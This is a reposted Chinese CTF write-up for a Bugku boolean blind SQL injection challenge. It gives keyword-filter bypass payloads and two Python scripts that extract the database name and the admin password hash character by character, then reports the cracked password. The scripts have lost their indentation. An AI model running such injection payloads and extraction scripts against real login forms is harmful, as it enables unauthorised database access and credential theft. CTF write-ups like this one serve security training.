我是靠谱客的博主 矮小果汁,最近开发中收集的这篇文章主要介绍Bugku sql注入,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

进入环境是个登录页面

提示这题布尔盲注,先fuzz一波

 过滤了length,like,information,and,union,select,order,where等等

用括号绕过空格,我们发现能用的字符有<>,or,'

先万能密码试试看,<>是不等于的意思

'or(1<>2)#

 'or(1<>1)#

 可以确定这里有布尔盲注

那么开始注入 参考博客

'or(length(database())>7)# 回显password error!
'or(length(database())>8)# 回显username does not exist!
说明数据库长度为7
后面爆数据库
利用reverse和from
a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>98)#

最后利用脚本爆出数据库

import requests
url='http://114.67.175.224:19015/index.php'
database=''
for i in range(1,9):
for p in range(45,126):
m=9-i
sql="a'or(ord(substr(reverse(substr((database())from(%d)))from(%d)))<>%s)#"%(i,m,p)
data={
'username':sql,
'password':'1'
}
res=requests.post(url=url,data=data)
if "username does not exist!" in res.text:
database+=chr(p)
print (database)
break
print ("==========================")
print("n"+database)

 得到数据库后面因为fuzz后发现过滤了太多字符,所以这里根据参考博客是用字典跑出数据表和字段,这里先跳过

得到数据表admin和字段名password后

爆破密码

password=''
for i in range(1,33):
for p in range(45,126):
m=33-i
sql="a'or(ord(substr(reverse(substr((select(group_concat(password))from(blindsql.admin))from(%d)))from(%d)))<>%s)#"%(i,m,p)
data={
'username':sql,
'password':'1'
}
res=requests.post(url=url,data=data)
if "username does not exist!" in res.text:
password+=chr(p)
print (password)
break
print ("==========================")
print("n"+password)

 解md5  4dcc88f8f1bc05e7c2ad1a60288481a2

 得到密码bugctf

去登录 账号是admin

 

最后

以上就是矮小果汁为你收集整理的Bugku sql注入的全部内容,希望文章能够帮你解决Bugku sql注入所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(37)

评论列表共有 0 条评论

立即
投稿
返回
顶部